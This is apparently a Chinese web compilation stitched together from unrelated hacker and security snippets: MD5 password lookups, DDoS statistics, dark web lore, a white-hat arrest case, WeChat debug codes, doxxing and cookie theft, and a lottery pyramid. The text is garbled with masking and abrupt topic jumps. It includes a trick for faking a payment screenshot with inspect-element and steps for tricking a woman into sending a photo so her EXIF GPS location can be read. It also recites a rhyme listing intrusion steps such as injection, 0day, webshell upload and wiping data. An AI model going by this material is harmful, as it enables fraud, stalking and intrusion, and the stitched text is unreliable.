　　黑客从网站后台拿到你的密码有可能是加了密的，一般用啥加密呢？MD5！MD5是现在广泛使用的加密方式。有人又要问了，MD5是啥？MD5是一种加密算法，MD5值是对数据加密后的一串字符串，通俗一点讲MD5就和你的身份证号一样，几乎不可能找到两个MD5值完全一样的数据。一般黑客拿到MD5值会到专业网站去破解，那么我们的思路就来了，我们可以把自己的密码用MD5加密以后，去网站破解一下试试，如果能被破解，说明不安全，如果不能，说明还是相对安全的。

　　1：打开MD5加解密网站：点击“加密”按钮。

　　

　　2：在pass栏输入你常用密码，点击加密。会出现如下界面，然后复制“MD5：”后的那串字符串。（如下图）

　　

　　3：回到网站主页，将复制的字符串粘贴到密文栏，然后点击查询。如果出现“查询结果”或“已查到，这是一条付费记录”就说明你的密码不是很安全，更好尽快修改一下。（如下图）

　　

　　如果出现“未查到”，那么就说明你的密码是相对比较安全的（如下图）

　　

　　总结起来就是加密自己的密码，然后再查md5，看看能不能解出来，如果解不出来，那即使你的md5密码被泄露了，别人也查不出来

　　之一眼看到这条消息，我就明白，这肯定是个骗子，就算不是骗子也是一个虚伪夸张广告，哪里有刷单能日赚100~500的，一天能赚个20块就不错了！小风突发奇想，赚了两百块钱。

　　于是，根据对方的要求，让我加了另外一个 *** ，然后对方发了一个客单价是200元的产品 *** 链接给我，让我拍下来，可是不要付款，给了我一个支付宝二维码，让我通过这个二维码转账，转账后，截图给我，然后会把本金换给我，另外佣钱有10块钱，这个佣钱是根据客单价来的！

　　其实有一点智商的人都知道，刷单不可能通过扫他的二维码付款的，可是这个就像是用一个巨大的网去网鱼，大多数的鱼都由于“身材小”逃走了，可是总有那么几条大鱼被网了上去，被网上来的就是我们说的“冤大头”！这个就像电信诈骗案一样，有一定的概率，即使概率很小，抓住了，就会狠狠的赚上一大笔！

　　然后我其时想到了 网页的审查元素这一条。我便拍下来，然后通过扫码给他转账0.01元，然后审查元素将0.01改为200并且截图发给对方

　　之一步先跟妹子要到一张照片，理由很多，比如问问她那边天气如何，要一张宠物照什么的。

　　拿到照片之后，保存，右键点击“属性”，在“详情信息”一栏中看到了GPS信息。相机设置要开启GPS定位，不然拍出来的照片是没有GPS这栏信息的。

　　然后在打开： 把照片中的经纬度输入

　　通常只能定出你拍这张照片的位置。

　　其实，关键在于照片文件里的一个名叫EXIF的信息。如果拍摄照片时开启了GPS定位功能！

　　照片的EXIF信息里就会包含非常准确的精度、纬度、高度，通过相关的软件可以精确定位到具体的位置。

　　这种社工 *** 你学到了吗？

　　

　　

　　看到这里，平时喜欢晒 *** 、秀恩爱、各种晒的朋友是不是有些小紧张和疑惑？

　　“用户在朋友圈发送的图片都经过了体系自动压缩，不是原始图片，已不带方位信息。部分帐号声称‘通过朋友圈图片完整展示了一天踪迹’，纯属子虚乌有”腾讯声明道。

　　周末小王临时找朋友谈事情，让朋友发个其附近建筑的相片“原图”过来。收到图片后，小王简单操作几下iPhone就定位到了朋友的所在：在体系自带的“相片”应用中打开原图，点击右上角“详细信息”，地理方位信息就出来了。

　　这是什么原理呢？现在智能手机和数码相机在摄影过程中会采集包括摄影日期、光圈、快门、焦距、对比度、饱和度、GPS定位、缩略图等信息，也就是Exif信息。Exif（Exchangeable Image File）是“可交换图像文件”的缩写，是镶嵌在JPEG/TIFF 图像文件格局内的一组摄影参数。如果不经过特殊处理，每张图片的Exif信息会一直保留。

　　

　　那么如果手机没联网，会不会呈现方位信息呢？李铁军表明，由于智能手机都内置有GPS，即便用户不联网，拍出的相片相同含有方位信息。区别在于，联网时方位更加精准。

　　电信业专家项立刚表明，这要看用户使用的是不是原图。如果是原图，则有可能包含相片的地理方位，如果是经过压缩或处理过的相片，则不存在这种风险。李铁军也表明，现在用户往大多数的应用上上传相片时，这些应用出于节省流量和信号网速的考虑，会默认压缩相片上传，地理方位等信息不会被走漏。

　　李铁军称，大部分国产数码相机，不会记载相片的地理方位，但如果相机联网，并与手机等终端连接，这种情况下拍出相片，相同含有方位信息。

　　虽然相片会走漏地理信息，但关于习惯了走哪拍哪的手机用户，还是忍不住地“晒晒晒”。那有没有什么办法能够防止相片走漏个人信息呢？李铁军表明，通过两个手段就能够防止。之一是使用相片的压缩图。

　　每次设置一个新帐号，系统总会温馨提示运用者要记得用一组有英数混合、混杂大小写的密码，等到你把帐号设定好，有的网站还会几个月固定提醒你一次“密码太旧了记得改一下喔！”。种种关于网路密码的规定总是令人焦头烂额，不过想到这可能是在保护我们的帐号安全，大多人顶多摸摸鼻子算了，但是，如此杂乱的密码设置程序可能在保护帐号上没什么实质帮助。

　　

　　现今不同的 *** 渠道对密码有着各式各样的要求规范

　　在现代生活，设置网路帐号密码总是令人困扰，由于各大网路渠道对于密码的要求都不同，有些渠道又会时不时要求运用者固定更改密码，大大增加了记忆密码的难度。

　　其实这套密码安全守则是源自 2003年，在美国规范与技术协会(National Institute of Standards and Technology, NIST)担任经理的伯尔(Bill Burr)所提出，他当时建议人们在设置密码时，应该运用由英文、数字、奇怪符号稠浊而成的单字(像是把「impressive」改成「1Mpr3$$1v3!」)，而且运用者应该要定期更改密码。

　　这十几年来，伯尔的建议一直广为 *** 、公司、教育单位采用，但是在本周一(7)，已经退休的伯尔在与《华尔街日报》的访谈直言，他对提出这些建议感到懊悔，也认为自己在保护密码方面搞错了方向。

　　

　　面临各式各样的密码规范，有些人反而会设置简略好记的字符组合，进而让密码变得更好破解。

　　在接受访问时，伯尔指出，依循这些规则设置的密码对运用者来说是种负担，也反而会让骇客更容易破解。

　　回头细看这些规则，伯尔建议运用者应该每 90天改一次密码，有的运用者可能会嫌麻烦就把密码从「impressive1」改成「impressive2」，有的运用者则是不知道要设什么密码，就习惯性地运用一些很容易被破解的字符当密码，像是在句末打上「!」、「」，或是运用常见的「123」数列。而不论是哪种状况，都与「让密码更安全」的主意背道而驰。

　　此外，虽然把「impressive」改成「1Mpr3$$1v3!」看似把密码变得很难很杂乱，但对人们来说，这种密码反而不容易记忆，倒头来他们不是把密码写在很显眼的地方，就是会在所有网路渠道运用一样的密码。

　　此外，由于英文转换成数字、特殊符号的模式、密码大小写的摆放位置大多有迹可寻，所以对有些骇客、电脑演算法来说，来预测并破解这些密码并不是难事。

　　

　　一名艺术家替狗狗加上一个“你记得你的密码吗？“对话框。

　　其实早在 2011年8月，美国网路漫画家，前NASA机器人专家及程式设计师门罗(Randall Munroe)就在他的兴趣科普网站xkcd以漫画的方式，解释电脑由于可以预期「Tr0ub4dor&3」(编注：troubador的变体)的大小写位置、既定的数字替换模式、常出现的特殊字符，所以只需 3天，就能够轻易破解密码，但是这类密码对人类来说却很难记忆。

　　但是，如果运用者是用「correcthorsebatterystaple」(正确的马儿电池钉书机)这类随机字词组成的密码，电脑得花上 550年才能顺利破解它，但人类却能轻易记住这类密码。

　　《华尔街日报》也向资安专家求证，确认门罗这样的计算没有问题，这意味着“长又好记的随机字词组合”其实会比“英文、数字、奇怪符号稠浊的组合密码”来得安全。

　　Arbor Networks收集大量数据并加以分析，绘制全球流量威胁视图，发布综合报道。这些数据分别来自ATLAS（The Active Threat Level Analysis System威胁等级分析系统）提供的数字地图攻击数据和330多家服务提供商提供的匿名流量数据。

　　近几年DDoS攻击的频率，大小和攻击复杂度都在不断提高。但是DDoS攻击特点没有改变：工具免费、在线服务的价格低廉、任何人都能通过互联网发起攻击。

　　ATLAS记录的数据：

　　规模更大的DDoS攻击较2015年提高73%，达到579Gb/s。

　　平均每周会发生124000起DDoS攻击事件。

　　流量超过100Gb/s的DDoS攻击274起。（2015年共监测到223起）

　　流量超过200Gb/s的DDoS攻击46起。（2015年共监测到16起）

　　美国，法国和英国成为大部分流量超过10Gb/sDDos攻击的目标。

　　Arbor的工程与响应安全团队（ASERT）近日宣称，即便是大型DDoS攻击也不需要使用反射放大技术

　　LizardStresser（一个物联网的僵尸 *** ）对全球游戏网站，巴西金融机构，互联网服务提供商（ISP）和 *** 机构发动了流量高达400Gb/s的DDoS攻击。这些攻击数据包不显示为具有欺骗性的源地址，并且没有使用基于UDP的扩增方案，如NTP或SNMP。

　　2016年上半年DDoS攻击的平均大小为986Mb/s，较2015年增长30％。估计到2016年年底平均攻击规模预计达到1.15Gb/s。（1 Gb/s的DDoS攻击足以使大多数 *** 组织完全离线）

　　Arbor Networks的首席安全技术专家，达伦安斯蒂说：

　　这些数据证明了多元的，多层次的DDoS防御非常重要。高频率攻击只能在云处理时削弱，使其无法被发送攻击目标。

　　虽然发生在高端产品中的攻击规模增长迅猛，占所有攻击的80％！然而低于1Gb/s的攻击90％都持续不到一个小时。提前保护措施是应对“低，慢”应用层攻击的关键，也是防火墙和IPS等基础防御设施应对状态表耗尽攻击的关键。

　　这是一篇转载于网上多年的文章，原作者已无迹可寻。帖子里的自述就像小说一样险象环生，虽然并不能说完全可信，但至少他告诉了我们暗网世界的存在。在那里，有着许多不可想象的黑暗与恐怖，残忍与血腥。在表面上欣欣向荣的互联网自由世界背后，就是一团人性恶爆发后的残骸。什么是暗网 暗网就是黑暗 *** ，又称深层 *** 或隐形 *** ，英文名Deep web或Invisible Web， Hidden Web。通俗的讲，就是我们用常规的搜索引擎(谷歌、百度、雅虎等)搜索不到的网站。这么说你可能会认为既然这些网站都搜索不到，那一定没有人用，数量很少吧，那你就大错特错了。

　　废话有点多，先给大家张姿势

　　暗网和表层 *** 的比例: 暗网这个概念是在1994年由美国军方科学家提出的，1996年5月，美国海军研究实验所的3名科学家提交了一篇论文，题目是《隐藏路径信息》，提出打造一个系统， 使用者在连接因特网时不会向服务器泄露身份。他们称之为“洋葱路由”，因为保护数据的口令像洋葱一样层层迭迭。2003年10月，这一想法开始正式实施。系统最初被命名为Tor，是“洋葱路由”英文首字母缩写，后来被称为“深网”。它设计高度精密，以至于设计者本人都无法摧毁它。 在因特网早期，使用者可以利用假名在 *** 上创造“另一个自己”，与生活中的真实身份毫无瓜葛。但随着 *** 的发展，尤其是“ 脸谱”网站的出现，网民的在线身份与真实 身份日趋重合。如今，我们无论到哪，都在散播自己的信息：我们的浏览痕迹、视 频喜好、社交圈，甚至具体在哪。但“深网” 上不是。

　　美国 *** 为何要建造这样一个系统原因很多。利用它，警方可以调查非法网站而不打草惊蛇;军方和情报机构可以进行秘密联络;国务院可以培训国外异见人士…… 暗网的特性就是“绝对隐形”，网站隐形，用户身份隐形，IP地址隐形。当我们每天都在各种网站游走，随意的暴露着我们的身份和行踪时，这些暗网用户正在 *** 世界中为所欲为。 很多人就是看中了暗网的隐形特征，于是开始在暗网上干着各种各样在表层 *** 和现实生活中干不了的事情，真就应万维网发明初始宣告的那样——无所不能。 现如今的暗网上充斥着各种毒品、军火交易、走私、器官买卖、人口贩卖、杀手、 黑客、邪教、恐怖组织、儿童SE情、X变态 、金融犯罪、洗黑钱等，这是一个真正无法无天的世界。 尤其是当比特币这种虚拟货币发明之后，和暗网的二者结合更是如虎添翼，现在暗网上几乎所有的黑市交易都是使用比特币。

　　从2009年开始，暗网上出现了一个叫做“丝绸之路”(Silk Road)的黑市网站，贩卖各种毒品、枪支和违禁品，整个网站的交易就是用比特币进行。在我们中国的话，就可以比作是暗网上的T宝。而且这个网站还 真的就像常规购物网站一样拥有买卖双方评价，售后保障等功能。2013年的时候这个网站被FBI查封，查封过程非常曲折，最后还是网站创办者自己在表层 *** 的推特等社交网站上露出马脚，才被逮住的，唉，NO ZUO NO DIE啊!不过最近”丝绸之路2.0“又开张了，听说是之前的老用户做的，毕竟有需求就有市场嘛!

　　去年12月份，袁炜在乌云提交了其发现的婚恋交友网站世纪佳缘的系统漏洞。在世纪佳缘确认、修复了漏洞并按乌云平台惯例向漏洞提交者致谢后，事情突然发生转折。世纪佳缘在一个多月后以“网站数据被非法窃取”为由报警，4月份，袁炜被司法机关逮捕。

　　

　　白帽子出于好意挖掘漏洞并通知相关企业;而世纪佳缘出于用户隐私安全考虑，将白帽子移交公安部门。两件单独出现就会是一件极好的事，一碰在一起，就一引起了轩然 *** 。谁对谁错，现在很难说清，或许在多年以后，袁炜的遭遇，会成为安全行业发展历史上的一个标志性事件。

　　先获感谢后被举报

　　袁炜是互联网漏洞报告平台“乌云”上的一名白帽子。去年12月份，他在乌云提交了其发现的婚恋交友网站世纪佳缘的系统漏洞。在世纪佳缘确认、修复了漏洞并按乌云平台惯例向漏洞提交者致谢后，事情突然发生转折。世纪佳缘在一个多月后以“网站数据被非法窃取”为由报警，4月份，袁炜被司法机关逮捕。 在不久前的第四届 *** 安全大会上，袁炜的父亲发出 *** 为儿子鸣冤，让袁炜的遭遇成为 *** 安全圈的热门事件。

　　按照袁炜父亲在 *** 中的描述，袁炜于去年12月3日下午发现世纪佳缘网站漏洞;当天晚上，他为了验证漏洞，又通过发现的漏洞浏览了世纪佳缘的部分数据，确认漏洞存在;次日上午，袁炜向乌云提交该漏洞，同一天乌云通知世纪佳缘;12月7日，在完成漏洞修复后，世纪佳缘在乌云平台确认漏洞的页面向该漏洞提交者表示感谢。今年1月18日，世纪佳缘向北京市公安局朝阳分局报案称数据被窃取;3月8日，袁炜被刑事拘留;4月12日，北京朝阳检察院以涉嫌非法获取计算机信息系统数据犯罪，批捕袁炜。

　　世纪佳缘向记者介绍的事件时间顺序，与袁父所说基本相同，而世纪佳缘的内部人士则向记者补充了一些内情：去年12月3日晚，世纪佳缘安全维护人 员发现有多个来自国内不同省市的IP地址向其网站发起了攻击;12月7日，在完成漏洞修复后，世纪佳缘向乌云和漏洞提交者表示感谢。“正是这次表示感谢的 举动，被人传成了‘钓鱼’。”世纪佳缘相关人士说道。至于为何在表示感谢一个月后又突然报警，世纪佳缘CEO吴琳光则在知乎上解释称：“在漏洞修复过程 中，我们发现有900多条有效数据被攻击者获取，出于对用户数据和信息安全的担忧，我们选择了报警。”他同时表示，“在警方披露调查结果之前，我们并不知道提交漏洞的白帽子和攻击者是同一个人。”

　　关于袁炜被抓，坊间传出世纪佳缘“钓鱼”的说法，有人质疑为何世纪佳缘在向乌云和漏洞提交者致谢后的一个多月又突然报警。对此，世纪佳缘方面给出了回应：“自乌云通知公司网站存在漏洞至今，世纪佳缘从未获得过漏洞提交人的联系方式并与之取得联系。在警方披露调查结果前，世纪佳缘并不了解网站攻击者与漏洞提交者有何种关联。世纪佳缘报警是出于对用户隐私和公民信息安全的考虑，并不针对任何个人或组织。”

　　白帽子被抓事件无独有偶

　　“这不是之一次有白帽子被抓，之前也有一些白帽子被捕甚至是判刑。”赵武介绍，之前出事的白帽子，很多时候是因为对自己身份的错误认识和冲动。 白帽子在平台上提交的漏洞，有的时候企业并不认可，于是会激怒一些冲动的白帽子。“你不认是吧那等着被攻击吧!”有的白帽子真的利用发现的漏洞进行攻 击。这种行为就背离了白帽子行业的初衷，一些白帽子也因此栽了进去。“不过袁炜还不是这样的行为，在我们看来，他的做法就是很正常的白帽子找漏洞、提交漏洞的行为，没有越线。”赵武说。

　　世纪佳缘内部人士向记者透露，他们的安全团队一直在分析漏洞攻击者的行为是否恶意。他们认为，涉及到900多条有效数据被获取，已经完全超过了 常规白帽子测试的范围，通常情况下，白帽子只需要获取少量数据甚至不获取数据都能够证明网站的漏洞，在无法百分百确定获取者意图的情况下，为了保护信息安全，公司最终还是决定报警。而在选择报警之前，因为存在来自国内不同地区IP地址的攻击，世纪佳缘并未将漏洞提交者和事发当晚的其他攻击者联系到一起。

　　在赵武看来，袁炜的行为并不难解释。漏洞提交平台会给白帽子提交的漏洞打分，证据越详细、危害越大的漏洞得分越高，这也使得白帽子们习惯于多获取一些数据，而且以往的操作中，白帽子们获取数据的做法并没有遭到来自企业的反对和来自平台的提醒，大家对此也习以为常。

　　赵武认为，企业内部的安全人员是能够分辨出是白帽子还是恶意攻击的，很多在企业内做安全的人本身也是白帽子。但是决定是否报警的是企业的管理层和法务部门，他们不懂技术，这种分歧可能是造成袁炜被抓的原因。

　　当微信使用久了，出现故障或者异常，比如聊天记录混乱，通讯录丢失等，可以一键修复；微信无法连不上 *** ，可以这样解决；甚至当你想整蛊别人，还可以让微信直接闪退……

　　只要你向微信输入这些字母！

　　【苹果版微信彩蛋】

　　1、自动修复微信

　　点击微信首页右上角的号，选择“添加朋友”，然后在添加朋友界面中输入 :recover

　　（注意有冒号哟）。点击“搜索”即可进入下图的故障修复界面！

　　比如微信消息与通讯录，朋友圈，会话等等，都可以修复！举个栗子，点击修复朋友圈，重启微信之后，微信的异常故障就修复了，非常实用。

　　2、鉴别山寨iPhone

　　在微信任意聊天窗口输入 //getfpkey 并发送，可以看到关于手机的相关信息，包括制造商、型号、ROM的版本。

　　是的，这个功能只对安卓机开放，在iPhone上输入是无效的。所以如果你在“iPhone”上能查出相关的信息，很遗憾，你的iPhone就是山寨的。

　　其实Leo挖了下坟，发现安卓版的隐藏彩蛋还有很多，在以前的微信版本曾经出现过上百种种隐藏功能的代码！不过很可惜这些彩蛋已经被微信屏蔽了……不过现在仍保留了一些比较实用又好玩的代码！

　　感兴趣的同学可以自己试试。其中[

　　]表示后面要跟一个空格（可能还需要别的参数才能生效）：

　　//wearversion

　　//wearlog

　　//wearvoiceinputenable

　　//wearvoiceinputdisable

　　//weargoogleapi

　　//assert

　　//pushassert

　　//uplog

　　//upcrash

　　//switchnotificationstatus

　　//busiluck[

　　]

　　//newyearsw[

　　]

　　//commitxlog

　　//netstatus

　　//switchtabpos

　　//multiwebview

　　//sightinfo

　　//sighttest

　　//printcrash

　　//makemsgdata[

　　]

　　//whatsnew

　　//profile[ ]

　　//getfpkey

　　//commitwd

　　//remittance

　　reset

　　//wv[1]

　　//wvlocal[

　　]

　　//settbs

　　//gettbs

　　//deletetbs

　　//channelId

　　//traceroute

　　//qzone[

　　]

　　//dumpcrash

　　//dumpanr

　　//testanr

　　//opensnsadRightbar

　　//switchsdcard

　　//getip

　　//getlocalkey

　　//testhtml

　　//testlocalhtml[

　　]

　　作为敢抢奥运会头条的男人，宋喆遭遇了围追堵截。这次全民捉奸不仅是娱乐圈的狂欢，科技圈也神乱入了一下：

　　如果没有广大黑客技术爱好者的参与，狗仔们似乎也无法在几天之内扒出宋喆的身世、爱好、住址、开房记录，用体无完肤来形容毫不为过。

　　

　　

　　【网友总结的宋喆个人信息(保护公民隐私，敏感信息已被打码)】

　　实际上，黑客们认真捉起奸来，可以获得诸多让人惊讶掉下巴的奇异信息。雷锋网决定向顶级黑客请教一下，暂时抛开法律和道德因素，究竟怎样人肉一个人呢或者从反面来说，如果你不小心爱上了明星的媳妇而成为了全民公敌，如何避免被人肉的悲惨遭遇呢

　　这次雷锋网采访到了拥有傲人娱乐气质和专业黑客精神的安全研究员——360 *** 攻防实验室老大林伟。以下是干货。

　　一、iPhone——随身携带的定时炸弹

　　憋说话，掏出你的 iPhone。(如果你有的话)

　　打开：设置—隐私—定位服务—系统服务—常去地点

　　看到了没，让我猜猜，你去的次数最多的地方是你的家，而排名第二的，就是你的公司。如果觉得不够详细，点进去还有地图。就是这么惊悚。

　　

　　【苹果手机会默认开启“常去地点”功能，完整记录你的生活轨迹】

　　如果黑客搞到了你的 iCloud 账号，用任意一台 iPhone 登陆，都可以获得你常用的位置信息。所以如果你成为了全民公敌，就不要惊讶为神马第二天就有人在你家楼下堵住你的去路。

　　当然，事情原本可以不用这么复杂，看到“查找我的 iPhone”了吗

　　然而所有的信息都建立在你的 iCloud 被破解的基础上。而 iCloud 的安全性， 很大程度上依赖于你的密码强度还有密保邮箱的密码强度。如果你的密保邮箱是网易，呵呵。

　　在个人数字隐私和账户安全保卫战中，普通网民与黑客或不法分子之间是一场不对等的战争，网民唯一能够保护自己的武器只有一个：密码，而黑客则拥有五花八门的破解技巧和工具。今天告诉大家一个密码设置秘诀，能气死90%以上的黑客。

　　一、切勿在不同的网站使用相同的密码，这样，万一有某个账号遭到入侵，您才不必担心其他账号的安全问题。

　　二、建立复杂的密码，混合使用大小写、数字和特殊字符， 如：$%&!

　　三、想办法区分您每个网站所用的密码，例如，将网站名称的之一个和最后一个字母分别加在密码的开头和结尾。

　　安全小秘诀

　　许多自动化暴力破解工具都没有将 ￡ 符号列入列表当中，因此这是一个不错的选择。要在非英国键盘上打出这个符号，可以按住 Alt 键然后再输入 0163。

　　qqkey是否安全？ *** cookie安全吗

　　很多人都用过 *** 相关的工具，不管是挂Q、刷留言还是其他用途，都需要登录你的 *** 账号和密码，同时工具还会记录下你的cookie，也就是 *** key，针对这种情况， *** 是否足够安全呢，下面来看小编的分析。

　　说道qqkey这个就有很多想让人吐槽的点了，那么什么是qqkey呢？

　　当进入需要登录 *** 的网页后，这些相关组件就会自动加载到浏览器进程中，点击“快速登录”，浏览器就会向腾讯登录服务器 以clientkey的方式GET请求，然后验证无误则返回身份认证cookie，成功登录。说的更简单一些，其实就是和你点击 *** 上的图标自动登录原理完全一样。

　　

　　而这个返回的身份认证cookie就是我们要说的qqkey，而骇客通过你的qqkey能做什么呢？

　　

　　这里我们通过百度搜索到一些比较危险的骇客软件。

　　

　　同这些骇客软件作者的介绍，我们能知道只要骇客通过这些软件获取到我们的qqkey以后，及时没有我们的 *** 密码也能进入我们的财付通，加密的 *** 相册， *** 游戏等等一系列只能“我”自己能操作的业务及功能，我们可以想象这是非常可怕的，这无疑比给别人我们的 *** 密码还更严重。

　　还有一些童鞋玩 *** 类的游戏或者 *** 辅助类的程序时，通过 *** 的快速登录功能（无需帐号密码）直接在线网页登录会很安全。其实不然，不管你采用什么样的登录方式，如果软件留有“后门”能发送你的 *** key给软件作者的话，你的 *** 帐号必定被盗无疑！

　　提示：如果你不慎使用了一些可疑或者有可能带有后门的 *** 工具，建议立即修改密码，这样原有的skey就会失效！

　　不要深信绑定了手机令牌， *** 令牌等安全产品就100%安全了。

　　12月25日消息，第三方漏洞报告平台乌云曝出12306网站现用户数据泄露漏洞，漏洞称，

　　大量12306用户数据在互联网遭疯传，包括用户帐号、明文密码、身份证邮箱等。

　　据介绍，用户数据只是在传播售卖，目前数据泄漏途径未知，仍无法确认是12306官方还是

　　第三方抢票平台泄漏。

　　据了解，漏洞已提交至国家互联网应急中心处理，不过相关部门尚未对此回应。

　　此前，12306已多次被曝出漏洞。早在今年1月份，有网友爆料称，12306订票网站可以利用假护照

　　假身份证完成订票。之后利用12306漏洞购票选上下铺的攻略在网上转发。今年7月15日，

　　乌云又曝出12306购票软件存在漏洞，一人可购买一车厢票。

　　根据McReynolds的消息，中国将他的 *** 部队分成了三个子部分：

　　1、专业军事 *** 战部队：“用于实施 *** 攻击和防御”

　　2、民间组织专家：“已获得军方授权，进行 *** 战行动”

　　3、外部实体：“可以组织和动员他们参与 *** 战争行动”

　　安全专家推测，上述所有团体都会从事黑客活动，这些团体会参与针对私营企业的 *** 间谍行动，并盗取智力资产和敏感数据。

　　McReynolds继续说道：

　　“中国现在明确承认拥有 *** 战部队，那么美国和其他目标国家在以后的行动中将不得不仔细权衡，冒着风险同MPS合作进行 *** 犯罪是否值得了。”

　　黑客部队非中国特有

　　中国只是拥有 *** 部队的其中一个国家，俄罗斯、朝鲜、伊朗，当然还有美国都有着强大的信息战实力。每个国家都期望在 *** 空间的战场上占据主动优势，安全专家认为，应该很快就会发生重大的 *** 攻击战争。

　　和徒弟聊天无意发现的刷QB *** ，qq好友总是有很多骗子签名写着 100元1000 *** 100元400 *** 之类的，都是假的，怎么对付他们呢？先问他能不能1qb试刷几个，然后说可以的话要给他一百元让他帮你刷 ，他为了让你上当，就会用自己的钱给你冲qb，他冲了之后，你明白了吧！直接拉黑他 或者骂他几句！（还想骗我钱 劳资先骗你几 *** ）

　　

　　

　　

　　都有隐私的一面,

　　但我相信总有一天我会找到你的接口,

　　把我的最真给你看!

　　因为我是你的指针,

　　在茫茫内存的堆栈中,

　　永远指向你那片天空,

　　不孜不倦!

　　我愿做你的内联,

　　供你无限次的调用,

　　直到海枯石烂!

　　我愿做你的引用,

　　和你同进退共生死,

　　一起经受考验!

　　只是我不愿苦苦地调试你的心情,

　　最终沦为你的友元!

　　如今我们已被MFC封装――事事变迁!

　　如今我们已向COM走去――可想当年!

　　没任何奢求,只愿做你最后的Administrator

　　说过爱你，我就永远爱你、某某人你给我记着

　　进谷歌，找注入；没注入，就旁注；没旁注，用0day；没0day，猜目录；没目录，就嗅探；爆账户，找后台；传小马，放大马；拿权限，挂页面；放暗链，清数据；拿不下，去自杀

　　入侵三字经 进谷歌 找注入 没注入 就旁注 没旁注 用0day 没0day 猜目录 没目录 就嗅探 拿不下 去自杀 爆账户 找后台 传小马 放大马 拿权限 挂页面 放暗连 清数据

　　黑客编程三字经 黑客道，要学好。为什么？很重要。 哲数技，是整体。三兼顾，乃法宝。 老与庄，立圭臬，垂青史，永光耀。 黑客道，承衣钵，铸辉煌，吹号角。

　　追求真，学哲理。习数学，抓泛导。 崇尚善，为亿万。实无穷，成泛极。 运泛极，体现美。此财富，极自豪。 造泛通，至极致，方入禅，自由了。

　　黑客道，三乘三。十余载，精选挑。 表处理、做系统、加汇编，水平高。 每一种，三阶段，细分解，困难少。 三语言，有侧重，各不同，听唠叨。

　　之一，Scheme

　　表处理，很古老。排次序，用列表。 互联网，未过时，新集散，很热闹。 内行人，看门道。细分析，分组包。 包跟包，序关系。无非是，老一套。

　　万维网，是窗口，其实质，传符号。 十单元，口诀表。万物初，皆原子。 原子多，两大类：曰数字、曰符号。 数与术，任运作，排好队，成列表。

　　究本源，零或一，建尺度，无更小。 静辖域、块结构。尾递归，妙嵌套。 先前继、再后续、间测零、不动点。 细分清，非递推。递归法，具四要。

　　算算子，成高阶，威力大。扩全局， 限局部，准引用，常结合，要用好。 云行天，雨施地。时间流，可延迟。 吞或吐，过端口，打开后，要关掉。

　　辨语义，比创意，连续者，最独到。 善驾驭，出神奇，可命名、可传递、 可返回、可联合。跳千里；能回溯； 两任务、相协作；多进程、可互导。

　　多回值、动态风、卫生宏，比妖娆， 数一流。一滴水，千条虫。眼不见， 心不烦。杂环境，打成包。若认真， 再解包。元循环，一堆栈，七寄存。

　　零比零，成浑沌。非确定，世常态。 多层析，模糊集、粗糙集，阴阳爻。 扩主体，成广义。求大善，有遗憾。 有所得，必有失。抓尺度，兴波涛。

　　波涛丛，可排队。寻规律，求正交。 正交系，引拓扑，入泛函，对称显。 变换法，有拉氏、傅立叶、加卷积…… 商化积，宏可敌。藏局部，对象俏。

　　一提到时时彩，评论可谓两极分化。支持的认为时时彩奖能赚几万数十万，批判的认为时时彩就是骗人的。其实关于时时彩，我们要分清时时彩和私彩形式的时时彩。关于正规时时彩和私彩形式运作的时时彩，这里做一个论述，防止不熟悉的人会有误解。

　　先看看百度官方对正规时时彩的介绍：时时彩全称中国福利彩票时时彩(简称“时时彩”)经国家财政部批准，由中国福利彩票发行管理中心在重庆市所辖区域内发行，由重庆市福利彩票发行中心承销。

　　可以看到，时时彩本身是正规的彩票，是中国众多彩票中的一种。但是时时彩有个特性，就是开奖比较频繁，白天每十分钟开奖一次，晚上更是每五分钟就开奖一次。而大家所熟知的福利彩票和体育彩票，都是一天开一次的。关键点就在这里，一天大约100次的开奖次数，再结合私彩庄家高额的利润，形成了一个巨大的灰色地带。这就好比，菜刀本身不是凶器，但是就是有很多人把菜刀拿来砍人，你也不能怪菜刀嘛。

　　为什么那么多人宣称时时彩日赚千元，一年赚几十万呢我们要梳理下时时彩这个灰色地带的金字塔结构。处在最顶层的就是那些时时彩私彩经营者，他们大多创建了私彩网站，这些网站一般都是开在泰国等东南亚国家。处在第二层的就是这些私彩网站的顶级 *** ，一般来说，这样的 *** 机构不超过10家。顶级 *** 下面就是二级 *** ，二级 *** 再招收三级 *** ......处在金字塔更底层的，就是私彩的购买者。

　　时时彩(私彩性质的时时彩)为什么这么有吸引力呢为什么有这么多人买私彩这个灰色地带的利润是怎么分配的

　　我举个例子来说，一个用户，花2元去买彩票，如果买普通的正规彩票，中奖5元，如果他是买的私彩的话，一般奖金会有18-19元。所以才有这么多人去买私彩。(说到这里，你可能会吐槽官方的彩票太黑，奖金太少，这里我不做评论)

　　这个利润是怎么分配的呢

　　我们从顶层说起，以ABCD....依次表达顶层到底层的顺序。

　　A方(时时彩私彩网站)，B方(一级 *** )，C方(二级 *** ),D方(三级 *** )...Z方(私彩购买者)

　　A方对B方说，你帮我发展会员，如果你的会员中了小奖，我给你19.8元，你给他多少，你自己看着办

　　B方对C方说，你帮我发展会员，如果你的会员中了小奖，我给你19.6元，你给他多少，你自己看着办

　　C方对D方说，你帮我发展会员，如果你的会员中了小奖，我给你19.4元，你给他多少，你自己看着办

　　.......

　　Y方对Z方说，你来买私彩吧，你要中了小奖(对应普通的彩票的最小奖)，我给你18元。这比你买官方彩票好多了，如果你买的是普通的时时彩或者福彩，你的奖金只有5元哦。

　　假如，Z方(普通彩票购买者)买了这个网站的私彩，买了2元，这个2元就到了私彩网站哪里，也就是A方。按照概率来说，Z方买10次彩票，也就是投资20元才会中一次的。

　　为了方便计算，假设Z方真的话20元买了10次，并且中奖了1次。那么这个时候A方网站收到的20元，需要支付19.8元给一级 *** B方，自己赚0.2元。

　　B方得到19.8元需要给19.6元给方，自己赚0.2元....

　　最后更底层 *** Y方拿到上级给的钱，扣除自己的 *** 费，将剩下的18元给Z方购买者。

　　这样看，从概率来说，虽然私彩的奖金比官方彩票高好几倍，但是本质上时时彩私彩购买者仍然是要亏的。买的越多，也就越接近亏损了，因为概率收敛的角度来说，样本越大，结果越真实。

　　而网站和众多的 *** 都是稳赚不赔的，尤其是私彩网站和一级 *** ，因为有着庞大的下线拉来的广大私彩购买者，他们可以说是获得了暴利。

